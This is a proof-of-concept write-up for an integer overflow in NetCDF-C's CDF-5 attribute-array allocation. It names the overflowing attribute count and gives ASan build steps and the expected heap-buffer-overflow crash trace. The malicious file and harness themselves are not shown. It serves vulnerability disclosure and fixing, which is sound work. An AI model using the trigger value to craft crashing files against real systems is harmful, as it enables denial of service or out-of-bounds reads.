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PoC: NetCDF-C CDF-5 Attribute Count Integer Overflow (heap-buffer-overflow READ)

Files

malicious_cdf5_attr.nc — Malicious CDF-5 file (72 bytes) with gatt_count = 0x2000000000000001
harness.c — Self-contained C harness that creates the malicious file and triggers the crash

Vulnerability

Integer overflow in v1hpg.c:894 — malloc(ncap->nelems * sizeof(NC_attr *)) has no overflow check (dimensions and variables DO have this check). The multiplication wraps to 8, creating a 1-slot buffer. Post-open attribute queries use integer counters that iterate past the buffer boundary.

Reproduce

git clone https://github.com/Unidata/netcdf-c.git
cd netcdf-c && mkdir build && cd build
cmake .. \
  -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
  -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
  -DNETCDF_ENABLE_HDF5=OFF -DNETCDF_ENABLE_NETCDF_4=OFF \
  -DNETCDF_ENABLE_DAP=OFF -DNETCDF_ENABLE_NCZARR=OFF \
  -DBUILD_SHARED_LIBS=OFF
make -j$(nproc)

gcc -fsanitize=address -fno-omit-frame-pointer -g -O0 \
  -I . -I ../include harness.c -L . -lnetcdf -lm -ldl -lpthread -o harness

ASAN_OPTIONS=detect_leaks=0 ./harness

Expected output

nc_open succeeded with corrupted nelems
=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow on address ...
READ of size 8 at ... thread T0
    #0 NC_findattr attr.c:369
    ...
0x... is located 0 bytes after 8-byte region
allocated by thread T0 here:
    #0 malloc
    #1 v1h_get_NC_attrarray v1hpg.c:894

Without ASAN: SIGSEGV (exit code 139).

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